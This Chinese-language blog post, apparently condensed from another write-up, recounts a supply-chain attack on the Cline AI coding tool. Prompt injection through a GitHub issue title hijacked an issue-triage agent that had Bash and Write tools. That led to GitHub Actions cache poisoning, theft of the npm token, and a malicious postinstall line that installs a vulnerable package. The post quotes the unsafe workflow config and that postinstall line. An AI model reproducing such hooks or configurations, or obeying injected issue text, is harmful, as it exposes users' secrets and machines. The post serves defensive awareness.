原文地址:
此系列并非原文的死板翻译,而是我经过理解和提炼后的输出。仅聚焦其中最有意思和有价值的部分。想了解所有细节的小伙伴,可以去原文查看完整内容。
试想一下:你只是像往常一样打开电脑写代码,但你的 npm publish token 却已经被黑客窃取了——而这一切的罪魁祸首,竟然只是某人在某个开源项目里提了一个 GitHub Issue!
这听起来像是天方夜谭,但它却真实地发生在了 AI 编程助手 Cline 身上。
背景:一颗名为 OpenClaw 的“子弹”
在 2026 年 2 月 17 日,有人悄悄发布了 cline@2.3.0。这个版本表面上波澜不惊,仅仅在 package.json 中添加了一句不起眼的脚本:
"postinstall": "npm install -g openclaw@latest"
不过,这里被安装的“龙虾”(OpenClaw)并不是今天的主角,它只是这次攻击中被黑客利用的一把枪。
当时的 OpenClaw(2026.1.29 版本之前)存在一个极其严重的身份验证绕过漏洞(CVE-2026-25253,CVSS 评分高达 8.8!)。简单来说,任何人都可以通过跳过握手过程中的 scopes 字段,直接以最高权限的“操作员”身份连接,完全不需要令牌(Token)。而 OpenClaw 本身对系统的权限极大,这就意味着你环境变量中的各种敏感数据,瞬间成了黑客的囊中之物。
整个恶意包存活了短短 8 小时,却被下载安装了大约 4000 次。
最让人拍案叫绝的,是这场攻击的入口——黑客仅仅通过自然语言,利用 GitHub Issue 的标题,就完成了一次完美的“提示词注入(Prompt Injection)”攻击。
攻击过程:教科书级的供应链投毒
原文 1 整理了非常完整的攻击链路图,这里借着图片,带大家重新梳理一下这个精妙的过程:
1. GitHub Issue 注入:祸从口出
首先,Cline 仓库使用 Anthropic 官方的 claude-code-action 来进行 Issue 的自动化分类,它会自动读取用户提的问题、添加对应的标签等。
它的配置是这样的:
allowed_non_write_users: "*"
claude_args: >-
--allowedTools "Bash,Read,Write,Edit,Glob,Grep,WebFetch,WebSearch"
prompt: |
**Issue:** #${{ github.event.issue.number }}
**Title:** ${{ github.event.issue.title }}
稍微对权限和安全敏感的朋友,看到这里可能已经倒吸一口凉气了。这里存在三个致命问题:
- 任何 GitHub 用户都可以创建 Issue(毫无门槛)。
- Claude Action 的权限给得太大了!它不仅有读权限,甚至还有写文件和运行 Bash 命令的权限。
- GitHub Issue 的标题,被直接拼接到了 prompt 配置中!
其中第三点,正是这次攻击的“命门”。由于直接把外部不可信的输入(Issue 标题)喂给了 AI,这就给了黑客进行提示词注入的绝佳机会。配合上第二点里过大的工具权限,黑客只要在标题里写上一段“自然语言命令”,AI 就会乖乖去执行。
2. GitHub Actions 缓存污染:偷梁换柱
提示词注入只是第一步。毕竟,上一步受控的只是个 Issue 分类工具,它是怎么影响到 NPM 发包的呢?这一步才是真正精妙的操作。
Cline 的发布工作流为了加速,使用了 node_modules 缓存:
- name: Cache root dependencies
uses: actions/cache@v4
id: root-cache
with:
path: node_modules
key: ${{ runner.os }}-npm-${{ hashFiles('package-lock.json') }}
在 GitHub Actions 上,每个仓库都有一个共享的缓存池(最大 10GB)。当缓存池被填满后,旧的缓存就会被系统自动擦除。
这就好比一个公共储物柜(Cache 池)满了,黑客故意塞满一堆垃圾把原本主人的东西挤出去,然后偷偷放进一个长得一模一样、但里面装了炸弹的假包裹(篡改后的 node_modules)。
在这个例子中,Issue 检测和发布的 Action 共用同一个缓存池。攻击者通过提示词注入,命令 AI 疯狂向缓存写入大量垃圾数据,迫使 GitHub 清除了旧的合法缓存。随后,攻击者再写入一个新的缓存 Key,而这个 Key 指向的,正是他们提前篡改过的恶意 node_modules!
当 Cline 的维护者触发正常的发布 Action 时,工作流就会毫无防备地从缓存中拉取那个带有后门的 node_modules。最终,攻击者在发布环境里如鱼得水,轻松窃取了环境变量中的 NPM Publish Token。
3. 恶意版本发布:收网
到了这一步,一切水到渠成。黑客拿着第二步窃取到的 NPM Token,光明正大地发布了带有恶意 postinstall 脚本的 cline@2.3.0 版本。
Cline 的“草台班子”应对
其实,这个漏洞早在 2025 年 12 月下旬,就已经被安全研究员 Adnan Khan 发现,并通过 GitHub 的安全公告(Security Advisory)上报给了官方。
但令人无语的是,Cline 方面似乎并没有引起足够的重视,一直没有实质性动作。直到 2 月 9 日 Khan 彻底公开了漏洞细节,Cline 方面才开始进行修复和 Token 的轮换。
然而最戏剧性的一幕来了:Cline 方面居然删错了 Token!
由于被窃取的旧 Token 有效期足够长且没有被真正吊销,黑客最终还是成功利用它发布了恶意包。
从去年 12 月下旬初次上报,到 2 月中旬事发,中间足足有 2 个多月的空窗期。如果 Cline 团队稍微重视一点安全问题,这场波及 4000 台机器的供应链攻击,完全是可以避免的。
这里不得不提一下我们公司在安全方面的响应速度了。有时候虽然看起来有点“小题大做”,但遇到这类安全报告,真的是会第一时间停下手头其他事情,集中精力去排查和复盘的。安全无小事啊!
总结与启示
1. 警惕“自然语言”的注入攻击
这个事件给我最大的感受是:AI 时代的安全边界正在被重塑。
如果你的产品接入了 AI,那么在任何涉及 AI 处理的输入框里,你不仅要防范传统的 XSS、SQL 注入,更要时刻警惕**自然语言的提示词注入(Prompt Injection)**攻击。
未来的网络安全工程师,可能真的要开始学写 Prompt 防御策略了。
2. NPM 的防线该如何巩固?
巧的是,在上一篇精读文章中,刚好介绍了利用 pnpm 的安全控制功能防御 npm 供应链攻击。
如果开发者们使用了上一篇文章里提到的任何一个技巧,都极有可能阻断这次 openclaw 的恶意安装,从而避免惨剧发生。
在 Node 生态中,NPM 的供应链安全,真的是时候引起每一位开发者的重视了。
AI 时代的工具链越来越智能,但也带来了防不胜防的全新安全盲区。